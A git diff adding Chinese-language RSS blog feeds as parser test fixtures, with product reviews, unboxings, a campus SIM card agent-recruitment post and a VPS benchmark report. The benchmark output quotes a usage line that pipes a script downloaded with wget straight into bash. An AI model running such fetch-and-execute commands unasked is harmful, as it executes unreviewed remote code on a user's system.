
    + +

    左边第二部分是 smart folder,也就是我们常说的“智能文件夹”,创建的时候你可以选择位置(根目录或子目录),以及各种文件归类判定条件,如果你经常尝试各种 Mac 软件一定会对这种设定并不陌生了;而智能目录最具特色的还是“Actions”的角色,当你将 records 归入一个智能目录时,你可以选择给他们自动添加各种 tags,或者去掉 record 上的已有 record,甚至是 set label,移动 records 所在目录等等。

    + +

    左边第三部分就是 Tag,你可以随意添加各种 tag,然后在各种 records 上打上 tag,这个很好理解吧?

    + +

    EagleFiler

    + +

    强大的文件搜索能力

    + +

    有了智能目录(smart folder)和 标签自定义(Tag),EagleFiler 的文件组织形式就非常灵活了,配合强大起飞的文件搜索设置更是如虎添翼,你可以用文件名、Title、record来源(from)、Notes 等条件进行搜索。

    + +

    一键已有数据库

    + +

    EagleFiler 在创建 library 后支持从 Finder 目录,URL(s),书签 OPML,印象笔记导出文件 ENEX,iPhone 多媒体库导入已有数据库,最最最神奇的是它可以自动过滤重复文件(重复邮件),而 Spotlight 也可以自动检索到这些进入 EagleFiler 的小家伙。

    + +

    一键导入任意文件

    + +

    也可以通过 F1 键或 Option+F1 快速导入邮件、网页各式文件,也可以用 Shift+F1 或 Command-Shift-1 快速保存选择好的文本段落

    + +

    EagleFiler

    + +

    一键导入其他邮箱数据

    + +

    你也可以很方便的将其他邮箱的数据导入到 EagleFiler,比如在 Mail.app 上,选中一条或多条邮件,直接拖入到 EagleFiler 的 library 列表或使用 “F1” 键即可快速导入邮件信息,或者也可以直接将邮件导出(拖动手势)到本地成为 .eml 格式文件,然后再批量导入到 EagleFiler,EagleFiler 支持对邮件的 raw source,rich text,plain text,甚至是通过 preview.app 的 quick look 进行预览。

    + +

    EagleFiler:偏科的文件管理软件插图(3)

    + +

    细节

    + +

    EagleFiler 的界面可定制化程度较高,用户可以自定义列表、record 富文本、纯文本内容的字体/字形、搜索高亮字体颜色、引用文本字体颜色,甚至可以自动将 tag 同步到 spotlight comments;采集的网页格式可以自定义为书签、HTML、PDF、纯文本、富文本(可带图片)以及默认的格式 Web Archive。

    + +

    EagleFiler:偏科的文件管理软件插图(4)

    + +

    EagleFiler 的 library 可以创建无数个,支持通过 dropbox 等云同步服务进行快速同步,创建的时候支持选择加密方式以及最大容量。

    + +

    EagleFiler 目前在国内的独家代理售价为 139 元,相比于官网的 40 刀(约合 275 元人民币)便宜了整整一半,也就是 5 折的价格。

    + +

    购买中国区特惠 EagleFiler

    +

    本文发表自Mac玩儿法,转载请注明转自《EagleFiler:偏科的文件管理软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/eaglefiler-review/feed + 0 +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/warn/https-www-zrj96-com-feed.xml b/tests/feedlib/testdata/parser/warn/https-www-zrj96-com-feed.xml new file mode 100644 index 0000000..389cabb --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-zrj96-com-feed.xml @@ -0,0 +1,2139 @@ + + + + 初行博客 + + https://www.zrj96.com + 回归初心,记录生活点滴 + Thu, 19 Mar 2020 07:20:25 +0000 + zh-CN + + hourly + + 1 + https://wordpress.org/?v=5.4 + + 【招代理】北京电信校园卡2020版 46元/月 15G通用+25G定向流量 300分钟通话 + https://www.zrj96.com/post-1446.html + https://www.zrj96.com/post-1446.html#respond + + + Wed, 18 Mar 2020 06:32:46 +0000 + + + + + + + + + + https://www.zrj96.com/?p=1446 + + + 一、前言 +

    去年已经开过北京电信、联通校园卡的车了,可惜因为政策原因,所以今年电信校园流量卡的价格有所上涨!不过总体还算实惠,尤其这是正规卡渠道,并非某宝所谓的物联流量卡。

    +

    本套餐不限制年龄办理!全国包邮!

    +

    二、高危地区限制办理

    +

    部分地区因为流动人口多、诈骗刑事案件频发,所以办理使用很容易遭到运营商停机,只能回手机卡归属地办理解封,非常麻烦。以下是不建议办理地区,如果是这些地区办理后产生问题的概不处理!抱歉!

    +

    广东省:江门,阳江,东莞,佛山,肇庆, 茂名, 湛江,珠海,番禺区,潮州、惠州、河源
    湖北省:孝感,黄冈,武汉,江汉(仙桃)
    广西省:南宁,贵港,防城港,玉林,宾阳
    湖南省:娄底,衡阳,怀化,长沙
    河南省:驻马店、周口
    河北省:承德、邯郸
    安徽省:阜阳、安庆、蚌埠
    福建省:泉州,漳州,龙岩
    海南省:海口,儋州
    云南省:普洱,临沧,西双版纳傣族自治州,景洪市,思茅,西双版纳,德宏
    江西省:吉安,上饶
    西藏、新疆

    +

    三、实名认证与老用户相关

    +

    办理本套餐需提供本人身份证信息,收到卡后需要下载电信官方APP进行本人的活体实名认证。

    +

    这是国家规定,绕不开的,想不实名办卡是不可能的。

    +

    本套餐仅限新用户办理,不支持老用户更改套餐,一张身份证最多可以办理5张手机卡。

    +

    四、办理方法

    +

    浏览器打开链接,选择“【校园】校园2020包打合约”

    +

    http://z.bj.189.cn/index/otocommodity.html?shopRel=2620180724749932&businessCode=50315005514

    +

    或手机浏览器、微信扫描二维码:

    +

    +

    五、套餐内容

    +

    本套餐支持5G网络,前提是你所在地区有5G网络覆盖。下面有联系方式,可以获取套餐优惠。

    +

    续约:一年后到期可以继续使用,按每月46元收取费用。

    +

    +

    六、其他问题咨询

    +

    有任何问题可以联系本人

    +

    QQ:945019208

    +

    Telegram:https://t.me/zrj766

    +

    邮件:admin#zrj766.com

    +

    七、招聘代理

    +

    现在可以自己做代理啦!销售本套餐可以获取丰厚的利润回报!最低3张即可收取提成,卖出越多提成越高!

    +

    1、是否靠谱?

    +

    博主所在的团队已经与北京电信合作多年,去年的流量卡销售顺利,如果去年没有收到钱我也不会今年再次销售,毕竟不是用爱发电。

    +

    2、佣金怎么计算?

    +

    为防止个人用户利用薅羊毛,所以销售的第1、2张不发放佣金,第3张后一并把三张卡的佣金全部发放!前5张在用户激活后即可领取佣金,但为了符合电信要求,从第6张开始统一遵循电信佣金发放模式:即用户激活后的次月30日发放佣金。

    +

    3、佣金为多少?

    +

    阶梯式价格:1至5张提成120,6至10张150,11张以上170(以上提成均为单张提成)。

    +

    每达到一个新阶梯,不补先前阶梯的差价。比如你达到6张了,之前的5张还是按120单价算,6~10张按150单价算。

    +

    各位朋友可无限发展下级代理,你这边的代理卖出的卡可累积。比如你这边总共有5个代理,5个人的销售数量放在一起算,总共达到11张,就都按170一张结算。每次结算时将你这边的所有代理姓名报给我,佣金全部发放给你。

    +

    4、如何申请为代理?

    +

    请通过本文的第六章节联系本人,渠道独立,有自己的后台可以查看用户激活情况。

    +]]>
    + + https://www.zrj96.com/post-1446.html/feed + 0 + + +
    + + WD Elements 12TB开箱 + https://www.zrj96.com/post-1441.html + https://www.zrj96.com/post-1441.html#comments + + + Wed, 18 Mar 2020 01:20:51 +0000 + + + + https://www.zrj96.com/?p=1441 + + +

    +

    一、购买过程

    +

    12TB的车开了好多次了,3月还是忍不住上车了,1364含税费,小程序上领取一次免邮特权,还能用当时女神节活动的60优惠券。电脑上购买也可以试用Prime的方式免邮,基本差不多。下完单第二天又便宜了几十,血亏!等了十几天,一堆收货的已经有些慌了,终于等到发货,在五大湖绕了半圈,在芝加哥停了几天,还以为快递因为肺炎放假了,16号查询终于到了上海,顺丰转运隔天到达。

    +

    二、开箱

    +

    1、事实证明裸奔漂洋过海是没问题的,顺丰还给贴了一些胶带,估计从美国来的时候胶带都没。看以前开箱的图片,起码还是有个袋子的,越来越抠了。

    +

    +

    2、不用读系列+祖传USB3.0数据线和DC电源,美亚过来的所以中国的插座可以直接用,德亚的货可能需要转接头。

    +

    +

    3、大小对比图,拿在手中和一本词典的大小重量差不多。

    +

    +

    +

    4、接口,前面还有个LED小灯展示工作状态。

    +

    +

    5、晚上闲的蛋疼拆开了,大概看看,没完全拆下来,有NAS的一般都拆下来用了。硬盘是降速5400转的氦气盘,非叠瓦。

    +

    内部四角都有软垫保护,颠簸还是可以承受的。

    +

    +

    6、插电脑上,可用空间为10.9TB

    +

    +

    7、硬盘数据,0小时

    +

    +

    8、传输速度,最高190+,速度不错

    +

    +

    开箱结束,就这样,没啥好看的,一块大硬盘而已。

    +]]>
    + + https://www.zrj96.com/post-1441.html/feed + 5 + + +
    + + 穷人的2K——飞利浦275E9简单开箱 + https://www.zrj96.com/post-1434.html + https://www.zrj96.com/post-1434.html#respond + + + Tue, 18 Feb 2020 07:53:56 +0000 + + + + + + + https://www.zrj96.com/?p=1434 + + +

    +

    疫情特殊时期,只有东哥、顺丰和邮政靠谱,四通一达写着正常工作,但是快递基本处于停摆状态,好多天没有动静了。

    +

    今天早上收到新的显示器,就简单开箱一下,这款属于穷人的2K显示器。

    +

    一、购买前

    +

    因为年前买了NUC,放在以前的电脑机箱上不得劲,线缆拉着很担心掉下去,同时NUC支持且附带了VESA挂架,就想挂显示器上。支持VESA显示器不少,但是都是桌架与壁挂二选一,放桌子上没法使用VESA,最近也想把显示器升级为2K,别问4K,问就是显卡带不动。后来量了量桌子的空余位置,正好也够27寸显示器,在查阅一些资料后,还是觉得27寸适合2K分辨率。在东哥家搜索了半天,满足VESA、2K、27寸的显示器很少,当然价格也不能过高,2000多的不考虑了,真的买不起,最后只有飞利浦的显示器满足个人需求。飞利浦满足我的要求的型号有275E1和275E9两个,两个区别在于E9色彩更好,E1支持75Hz,我肯定是选择色彩更好的。E9也是原厂LGD面板(不是老干爹),一些评论说是冠捷也就是AOC代工生产。

    +

    京东地址:https://item.jd.com/100005207393.html

    +

    二、购买过程

    +

    275E9的价格在双十一最低,999元,999元真是香的不得了,最近低价只有1399元,很可惜没赶上。到2月底前好评还送50元京东E卡,不过这个活动只能教师和学生参与,社畜狗蛋疼啊~ Plus会员可以领取全品类优惠券或显示器专用999-50元优惠券,1349元可以拿下,思来想去一天,还是在23:49分剁手了!

    +

    三、到货开箱+体验

    +

    还在被窝里的时候就被快递员电话叫醒,洗脸穿衣5分钟冲到小区门口,大概5-6KG的重量。包装只有显示器自己的包装箱,也没套个袋子什么的,直接贴上了运单号。

    +

    +

    打开后标准的配件,不用读系列、电源、HDMI线。

    +

    +

    底座,月弯,比以前长方形的底座看起来有点弱不禁风,不是很有安全感。

    +

    +

    正面的样子,“全面屏”窄边框,黑色带雾面。

    +

    +

    后背,3个接口,DP、VGA、HDMI,还有音频接口,不过显示器的音频凑合用用吧,最后还有VESA接口。

    +

    +

    侧面,上薄下厚,最薄的地方是真的薄,网上也有一些评论说很容易摔碎,建议买个碎屏险,3年50元。

    +

    +

    开机键在背后一个按钮上,是个方向摇杆,一个按钮就可以完成显示器的菜单操作。

    +

    显示器有多种模式,例如FPS、RTS、EasyRead和Lowblue等。游戏的具体模式还没试,不知道有啥区别。Lowblue就是低蓝光,偏黄的颜色,看着不太舒服,倒是可以一定程度上保护眼睛,看看网页什么的可以开启。EasyRead就是把屏幕变成灰色,方便文字阅读。

    +

    个人体验:

    +

    虽然显示器不支持75Hz,但是在Windows系统的显示器设置里可以开启75Hz,虽然没感觉出来有多顺滑。。。

    +

    还有给我的感受就是屏幕太亮了,我把亮度调到40才能接受,平常可能没什么,如果是白底的亮度爆炸有些刺眼。

    +

    色彩方面官方宣称有131%sRGB、114%NTSC色域,16.7M色彩,比专业修图的或更好的显示器肯定有差距,不过这个价位上算是不错的,很少有型号有这么高的色域,比我以前使用的便宜1080P显示器,色彩感觉更靓一些。

    +

    四、总结

    +

    好的显示器还有很多,例如戴尔U系列比较受欢迎,我个人的需求只有飞利浦能满足我,275E9在1000多的档位上性价比十足,2K、27寸、高色域、VESA,如果能有双十一999价格的话,性价比爆炸。

    +

    买什么东西,满足自己的需求就好,这个配置和价格个人很满意,4K、144Hz还是土豪大佬们的选择。

    +]]>
    + + https://www.zrj96.com/post-1434.html/feed + 0 + + +
    + + NUC8i5BEH 豆子峡谷开箱 + https://www.zrj96.com/post-1421.html + https://www.zrj96.com/post-1421.html#comments + + + Tue, 21 Jan 2020 09:36:40 +0000 + + + + + + https://www.zrj96.com/?p=1421 + + +

    +

    一、前言

    +

    以前是觉得NUC的辣鸡低压U性能不行还比较贵,不如买个笔记本,最近发现NUC8代i5价格在2200元左右,加上内存和硬盘,3000元左右即可拿下,种草了几天后还是狠下心剁了。8代酷睿也是Intel最近几年提升比较大的一代CPU,选用的酷睿™ i5-8259U处理器,4核8线程,最大睿频3.8GHz,带一个Intel® Iris® Plus Graphics 655集成显卡,查了一下性能接近于MX250,性能已经不弱了,显卡也能对付LOL这种水平的网游。

    +

    看过本博客的都知道双十一买了个小新13Pro,但是最近几个月一直在吃灰,因为公司本身有电脑,家里也有一台台式机,笔记本很少开,我自己又是个死宅,不会出门去图书馆、咖啡厅办(zhuang)公(bi),唯一的用处就是回父母家用。而NUC本体+电源的重量比轻薄笔记本还要轻一点,加起来不过1KG,我基本都是两点一线生活,即使到父母家中也有一台闲置的显示器,所以买个NUC,接上鼠标键盘和显示器就可以使用,同时在自己家中和公司直接一样接上显示器就能工作。正好公司的电脑也比较旧了,4代i3,卡的不行,每天处于快死机和死机的状态中,以后在公司用NUC干活。NUC很适合固定地点便携办公或需求极简桌面的人群,不占地方,接上显示器鼠标键盘就能用。如果你是移动办公,经常出差等还是不要买了,毕竟笔记本带电池带屏幕带键盘带鼠标。

    +

    开箱就是走个流程,豆子峡谷发布一年了,网上一堆开箱的魔改的装黑果的,我就没必要那么详细测评了,而且第二天发现照片拍的有点虚。。。

    +

    二、购买过程

    +

    淘宝买的,买NUC不要看标价,因为官方限制价格,点进商品详情标配就是另外一个价格了,或者咨询客服优惠都会给更低的价格,基本在2200-2300左右,闲鱼上也有大量商家以这个价格售卖。京东的好处是售后方便,但是官方卖3099,一点优惠都没有。

    +

    为了图省事想买内存硬盘套餐来着,内存还可以,但是硬盘卖家给的两个选择性能很一般,所以我就没要硬盘,自己去京东买了一个512G NVMe固态。SSD或机械暂时不考虑加装,512G的存储够用了,算是二奶机,没那么多东西要存。

    +

    三、开箱图

    +

    包装盒,经典蓝色的,体积不大

    +

    +

    +

    +

    全家福,主机、电源、VESA转接板、NVMe的螺丝、2.5英寸硬盘螺丝、壁挂螺丝、信仰贴纸、说明书等

    +

    +

    +

    VESA转接板支持挂墙上或者带VESA的显示器上,相当于一体机,就是丑了点,不过背面也看不见无所谓。

    +

    正面:硬盘灯、两个USB3.1 Gen2接口、一个麦克风/声音一体接口、电源键

    +

    +

    背面:电源DC接口、HDMI2.0接口、一个网线接口、两个USB3.1 Gen2接口、一个雷电3/Type-C接口。不支持C口充电。

    +

    +

    侧面一个SD卡接口,另一侧无接口。

    +

    +

    背面四个螺丝就拆下来了,非常简单,不过要比较深要多转几圈,NUC还不好拆那就没法卖了。

    +

    拆开后就是主板,拔下电源线和一个排线就能看到,底部盖子是2.5英寸硬盘托架,还送了一个NVMe散热贴。支持插两根DDR4内存,最高32GB,只能插笔记本的内存(废话),最高频率2400。还有一个M.2接口,自带固定螺丝是真TM紧,看了下网上不是个例,换了好几个螺丝刀才转下来,一定要选择合适的避免滑丝。

    +

    +

    装系统也简单,PE做个系统盘,开机直接装,USB3.1接口+NVMe快得飞起。而且一进去就是系统已激活。。。这是Intel的官方PY?在我没有登录微软帐号的情况下。。。

    +

    四、一些建议

    +

    1、i3、i5、i7买哪个?

    +

    8代的NUC有i3、i5、i7三个主要型号,i3的CPU是酷睿™ i3-8109U 处理器,i7是酷睿™ i7-8559U 处理器,具体的CPU参数在Intel官网都有,就不贴了。i3的性能稍弱,但是如果你只是上上网或者准备放客厅看片下载,足够用了;i5是性价比最高的型号,i3加几百就能上i5,不管是散热、功耗还是性能都比较平衡。至于i7肯定是最强的,但是看网上的很多评论都表示i7散热压力比较大。所以没太高需求买i5最好了。

    +

    2、BEH和BEK的区别?

    +

    BEK是薄款,不能插2.5英寸硬盘,BEH是厚款,可以插NVMe+2.5英寸硬盘。便携买BEK,实用买BEH。

    +

    3、NUC的声音散热?

    +

    散热测试没做过,我使用基本不会满载,网上有笔吧评测等都做过。声音的话,正常办公使用真的特别安静,跟没有一样,当然是不带机械硬盘的情况下,台式机或者普通笔记本负载再低还是有声音的。所以NUC也适合做一些下载机、长期开机使用,不会打扰。也看到有评论说,i5满载的时候,风扇声音还是有的,这种情况很少就不做讨论了。

    +

    4、装黑苹果?

    +

    网上教程一大把就不说了,NUC装黑果很简单,性能相当于2018年的MBP。唯一的槽点就是网卡,想完全体验黑果的功能,例如Airdrop,还有使用无线网络要占用M2接口,外接个无线网卡,本体的网卡是焊死的,除非你只接网线用。其他的内存、硬盘没什么要求,不过NVMe别买热门的PM981,这个认不了。

    +

    5、电源不方便?

    +

    可以使用65W电源头,例如联想口红或紫米的,淘宝买个Type-C转DC诱骗头就行了,或者买华硕笔记本用的旅行便携充电器,暂时只发现一家有卖,普通的笔记本充电器还是不建议买,因为根本没轻多少,还是大砖头。不过65W的代价就是不能满载,普通办公上网够用,或者BIOS里下调性能,否则标准的90W不够用。DC头买19V,5.5×2.5口即可。

    +

    6、最后确定你的需求

    +

    固定地点便携办公、追求精简桌面或想要一台可以长期开机的低功耗主机人群,如果不知道还是建议买普通的笔记本。

    +

    7、是否要买十代NUC?

    +

    十代NUC寒霜峡谷,CPU性能得到进一步提升,但是显卡缩水为UHD630,不是很建议购买。至于幽灵峡谷等高端机型,甚至有i9版本的,土豪上吧,性价比感觉一般了,不如买笔记本。

    +]]>
    + + https://www.zrj96.com/post-1421.html/feed + 1 + + +
    + + 个人喝过的主流无糖饮料感受及推荐 + https://www.zrj96.com/post-1418.html + https://www.zrj96.com/post-1418.html#respond + + + Tue, 14 Jan 2020 02:07:58 +0000 + + + + + + https://www.zrj96.com/?p=1418 + + + 文章首发于 初行博客 微信公众号,博客复制转载,原文链接:https://mp.weixin.qq.com/s/JCP5976nqMvstvUvAJhn1A +

    +

    新CG拉克丝当头图没意见吧?

    +

    工作饱和,拖延症愈加严重了,至于2019年的个人总结,马上就好了(0%)

    +

    今天的文章内容也是在工作中突然想到的,因为买的几瓶饮料两天了揽收后就没动静了(垃圾百世快递),上PDD催促卖家帮忙催快递,所以想到我喝过一些无糖饮料,不如写个个人感受和推荐,顺便还能更新一下,岂不美哉?

    +

    一、前言

    +

    无糖饮料也是最近半年主动接触到的,以前只是偶尔喝喝。无糖饮料不仅可以满足自己喝饮料的需求,也更健康一些。无糖饮料一般苏打水、碳酸饮料、茶饮料多一些,价格相对普通版饮料高一些。茶饮料便宜一些,因为普通的茶就可以,其他的饮料因为要找代糖,所以成本会比普通的糖要高。至于茶饮料,喜欢喝茶的不要抱太大希望,都是边角料,品茶的还是买茶叶自己泡煮吧。

    +

    二、碳酸类饮料

    +

    1、零卡系列

    +

    +

    +

    +

    可口可乐出品,一般接触比较多的就是零度可乐了,口感比有糖版一般了点,价格不贵。还有零卡芬达和零卡雪碧,雪碧我喝的比较少,忘记口感了。至于芬达,必须推荐!和原版基本一样,口感很好,价格不贵,0糖更健康。如果喜欢碳酸饮料,零卡芬达是首选。

    +

    2、百事可乐树莓味

    +

    +

    百事可乐普通版的比可口可乐还是差点意思(引战文),树莓口味的可乐也是第一次接触到,而且还是无糖版的。喝起来感觉还是可以接受的,没有樱桃味的难喝,如果是百事可乐党可以喝这个。

    +

    3、元气森林气泡水

    +

    +

    元气森林的产品都是无糖的,气泡水卖的多,力推白桃味和卡曼橘味,尤其是白桃味,桃子的清香很好闻。一般PDD上买50多元左右,其他平台会贵一些。元气森林的气泡水缺点就是跑气太快,打开瓶盖几次后就基本没气了,普通的无糖可乐放一夜还有气泡。还有元气森林的代糖是赤藓糖醇,成本高一点,不过味道更接近普通的糖。

    +

    4、纤维+可乐/雪碧

    +

    +

    没怎么喝过,感觉和普通的可乐雪碧不太一样,也没有其他的味道,就当普通的碳酸饮料喝。这款的饮料成本比无糖的还有高一点,无糖+膳食纤维,膳食纤维是啥就没必要普及了吧,据说促消化,虽然我没感觉出来。

    +

    5、魔爪白色

    +

    +

    白色是无糖的,魔爪是运动型饮料,我喝过几次感觉气泡对口腔刺激挺厉害的,不是很喜欢,爱运动的人可以选择。

    +

    6、太钢冰盐汽水

    +

    +

    介绍一个家乡本地的牌子吧,太钢汽水。偶然一天逛淘宝,看到家乡品牌在卖汽水,点进店铺看到有无糖的冰盐汽水,就买了几瓶试试看。味道就是盐水+汽,感觉凉凉的,能喝,但是不能像可乐那样畅饮,总是有点怪。因为加了盐,钠含量多一些。

    +

    三、茶饮料

    +

    1、燃茶

    +

    +

    元气森林旗下的,也是最近接触到的,可惜只买了一瓶白桃乌龙,没有醇香味的。燃茶价格稍高,一般也没有开车价。乌龙茶加了白桃的清香,第一次喝感觉一般,后来喝起来柔和清香,还是挺不错的。醇香的没喝过,应该更偏向茶的味道。

    +

    2、三得利乌龙茶

    +

    +

    买无糖的,别买低糖的!无糖口味就是普通乌龙茶的味道,你要是不喜欢喝茶的话可能不能接受。三得利的乌龙茶也是最便宜的,各种平台基本30多元一箱。

    +

    3、伊藤园茶饮料

    +

    +

    +

    只喝过绿茶,也是普通带点焦糊味道的饮料,喝茶爱好者可以考虑购买。乌龙茶没喝过,据说口感比三得利的好,但是价格要高一些。

    +

    四、苏打水

    +

    1、名仁苏打水

    +

    +

    老牌子了,应该都喝过,没气感觉不太爽,口味也很多。网上有卖易拉罐包装,带气泡的荔枝味,下次有机会买几罐试试。

    +

    2、怡泉苏打水

    +

    +

    可口可乐出品,难喝的一B,我忍了半瓶实在喝不下去扔了。

    +

    五、总结

    +

    喜欢碳酸饮料的力荐零卡芬达,喜欢茶饮料的三得利乌龙茶,有钱的可以买伊藤园的或燃茶,苏打水怡泉我无法接受,喜欢喝的自己选择吧。

    +]]>
    + + https://www.zrj96.com/post-1418.html/feed + 0 + + +
    + + 【手没了】Airpods 2开箱+使用体验 + https://www.zrj96.com/post-1414.html + https://www.zrj96.com/post-1414.html#comments + + + Sat, 21 Dec 2019 03:51:24 +0000 + + + + + + https://www.zrj96.com/?p=1414 + + +

    +

    快到2020年了,还买Airpods 2,一定是石乐志了。

    +

    主要是因为穷,新的Pro都快2000了,普通的2对于我够用了,个人暂时不需要降噪,目前PDD开车859-899左右。这也是我买的最贵的耳机,以前不管有线无线都是一两百的,有线的用个一年多如果坏了我就再买一个。本次剁手完全是冲动,不是iPhone用户,觉得无线没啥用,种草几个月迟迟未下手,但是在前两天一个明媚阳光的下午,带薪如厕的时候冲动剁手了,我也不知道为什么我突然想起来剁这个玩意。。。买了都买了,就开箱体验一下。

    +

    一、购买过程

    +

    PDD入手,有什么内部员工价859,我不想拉人头,直接899上车了。其他我都能接受二手,耳机还是买新的吧,二手觉得膈应。当天就发货了,顺丰,上海仓库,难得的快,以前上车iPadmini等了好几天发货,这次第二天收到货。

    +

    二、开箱

    +

    PDD牛b!

    +

    +

    包装盒正面和背面,没啥可看的,侧面就是序列号和信仰Logo。

    +

    +

    +

    保修卡说明书,反正也不会看

    +

    +

    数据线,还有点长度,充电头就用闲置的安卓头了,反正都能用,充电速度还不错。

    +

    +

    本体充电仓,很小,和空调遥控器对比一下

    +

    +

    +

    +

    打开内部的情况

    +

    +

    充电仓和QCT T5做个对比,要小很多,Pro的基本和T5差不多大了

    +

    +

    耳机大小对比,一样大。T5是入耳式。

    +

    +

    三、使用体验

    +

    开箱其实没什么好看的,都知道长什么样,而且一个耳机也没手机复杂,下面说说使用体验。

    +

    佩戴还是很舒适的,用多了入耳式的,这种半开放的耳机时间长了耳朵不会难受,戴一小会儿基本没什么感觉了,不会像入耳式的怎么也是塞进去的,加上气压等问题,感觉明显。

    +

    固定程度不错,怎么甩都下不来,就是甩了几下头晕。。。

    +

    隔音效果不行,这肯定啦,非入耳式缺点就是隔音不行,只能开大音量,但是对耳朵有损伤。

    +

    音质普通,苹果耳机的白开水,听啥都可以,没有底噪之类的,没法和专业耳机比,要音质的还是算了。

    +

    保护套必买,容易沾灰。耳机和充电仓都是,摸着爽,但是太容易刮花和沾灰,冬天衣服一点点毛绒就粘上去了,强迫症看到要死了。

    +

    四、和其他无线耳机的使用体验对比

    +

    我个人买过QCY T1s、漫步者T5和QCY T5,这些耳机都是入耳式的,基本能满足蓝牙耳机的使用场景。但是入耳式的无线蓝牙耳机不是很舒服,总感觉要掉,虽然用力甩不会掉,音质都差不多,听个响。我基本不玩手游,这些耳机游戏党们反应延迟都比较严重。QCT T1s应该可以AAC(忘记了,太久远了),漫步者T5可以APTX,高通芯片的手机才会好一些。QCY T5虽然支持AAC,但是我怎么设置都是只有SBC,QCY T5不听歌还有底噪和电流声,不是很爽。但是以上耳机的好处就是便宜啊!最便宜的99元,还要啥自行车?还有很多牌子的没用过,太多了,也有人说不错的,但是我不可能一个个买来体验,而且很多小牌子说实话我不想买,出了问题保修没大厂省心,最起码漫步者、QCY算知名度高的,有个保证。

    +

    至于华为的Freebuds3,因为我看过测评,虽然1000多半开放的还有降噪,但是不是华为手机的话使用不太方便,尤其APP上调节功能,专用协议其他手机也没有,所以就没买。

    +

    五、安卓上用AirPods

    +

    手里有个iPhoneSE可以设置耳机的一些功能,毕竟大部分情况还是用安卓机多,SE也不可能带出去常用。AirPods在安卓系统上可以实现90%的功能吧,除了不能调节手势操作,入耳检测也不好使,电池只能5%的刻度看,不能嘿Siri,其他的都不错。至于APP,个人入正了MaterialPods。市面上几个APP基本情况都差不多,功能也几乎相同,价格也不贵。至于为什么要用这个APP,AndPods最近难产了,有一阵子没更新;AirBattry在通知栏看电量,无论我怎么设置,都不能常驻,一划就没;其他的几个软件不是不更新了就多多少少有点问题,MaterialPods在我的手机上总体比较稳定,就是弹窗动画反应有点慢。每个人手机不一样,有的人用其他的好一些,这个最好一个个试吧,缺点就是几乎每个主流的APP开启一些必要功能都得开Pro,也不贵,但是得花点钱。不过还是建议找个iOS设备先设置一下手势操作,也能更新固件。

    +]]>
    + + https://www.zrj96.com/post-1414.html/feed + 4 + + +
    + + FishCloud魚雲網絡 香港HKBN VPS测试报告 + https://www.zrj96.com/post-1404.html + https://www.zrj96.com/post-1404.html#comments + + + Mon, 09 Dec 2019 02:18:22 +0000 + + + + + + https://www.zrj96.com/?p=1404 + + +

    +

    受商家邀请,测试新商家提供的VPS,测试了两个Bench脚本、Youtube速度和Netflix访问情况。

    +

    一、商家信息

    +
    官网:https://www.fishcloud.hk/
    +公司编号:2860314
    +香港数据中心正式上线!HKBN(香港宽频)专线,採用kvm架构,广东访问极低延迟!
    +Test IP:14.136.248.77
    +Telegram频道链结:@FishCloudHK1
    +Telegram群组链结:@fishcloudHK
    +主营业务范围:云服务器、云主机、VPS、香港服务器、国外主机、服务器托管、租用、专线定制、企业网络解决方案、软件开发、网页设计、UI设计等
    +如有业务或商业合作请联络:service@fishcloud.hk
    +

    二、服务器配置

    +

    商家提供的测试机器为经济款配置,2核E5-2678/1GB内存/15GB SSD硬盘/1TB流量/1个IPv4,未说明网络带宽大小,价格为28USD/月

    +

    购买地址:https://www.fishcloud.hk/cart.php

    +

    +

    三、Oldking SuperBench测试信息

    +

    本脚本链接:https://www.oldking.net/599.html

    +

    OldKing的脚本能基本满足VPS、服务器测试的需要,可以看到服务器的基本信息、IO测试和到全国各地的下载上传速度,本次测试开启BBRPlus。

    +

    测试完整版结果已经保存在:https://paste.ubuntu.com./p/MVSJP7R3Mg/

    +
     Superbench.sh -- https://www.oldking.net/350.html
    + Mode  : Standard    Version : 1.1.6
    + Usage : wget -qO- git.io/superbench.sh | bash
    +----------------------------------------------------------------------
    + CPU Model            : Intel(R) Xeon(R) CPU E5-2678 v3 @ 2.50GHz
    + CPU Cores            : 2 Cores 2494.224 MHz x86_64
    + CPU Cache            : 16384 KB 
    + OS                   : Debian GNU/Linux 9 (64 Bit) KVM
    + Kernel               : 4.14.129-bbrplus
    + Total Space          : 1.1 GB / 14.0 GB 
    + Total RAM            : 36 MB / 989 MB (57 MB Buff)
    + Total SWAP           : 0 MB / 1020 MB
    + Uptime               : 0 days 0 hour 6 min
    + Load Average         : 0.00, 0.00, 0.00
    + TCP CC               : bbrplus
    + ASN & ISP            : AS9269, Hong Kong Broadband Network Ltd
    + Organization         : Hong Kong Broadband Network Ltd
    + Location             : Central, Hong Kong / HK
    + Region               : Central and Western District
    +----------------------------------------------------------------------
    + I/O Speed( 1.0GB )   : 431 MB/s
    + I/O Speed( 1.0GB )   : 708 MB/s
    + I/O Speed( 1.0GB )   : 478 MB/s
    + Average I/O Speed    : 539.0 MB/s
    +----------------------------------------------------------------------
    + Node Name        Upload Speed      Download Speed      Latency     
    + Speedtest.net    17.69 Mbit/s      13.19 Mbit/s        5.448 ms   
    + Fast.com         0.00 Mbit/s       92.2 Mbit/s         -           
    + Beijing 5G   CT  18.57 Mbit/s      19.81 Mbit/s        -          
    + Nanjing 5G   CT  20.07 Mbit/s      19.72 Mbit/s        -          
    + Hefei 5G     CT  15.36 Mbit/s      19.58 Mbit/s        -          
    + TianJin 5G   CU  18.85 Mbit/s      17.56 Mbit/s        -          
    + Shanghai 5G  CU  20.63 Mbit/s      20.42 Mbit/s        -          
    + Guangzhou 5G CU  20.40 Mbit/s      20.16 Mbit/s        -          
    + Tianjin 5G   CM  19.21 Mbit/s      15.58 Mbit/s        -          
    + Wuxi 5G      CM  20.30 Mbit/s      19.26 Mbit/s        -          
    + Nanjing 5G   CM  20.50 Mbit/s      18.03 Mbit/s        -          
    + Hefei 5G     CM  19.54 Mbit/s      19.40 Mbit/s        -          
    + Changsha 5G  CM  18.42 Mbit/s      20.08 Mbit/s        -          
    +----------------------------------------------------------------------
    + Finished in  : 5 min 6 sec
    + Timestamp    : 2019-12-05 16:05:33 GMT+8
    +----------------------------------------------------------------------
    + Share result:
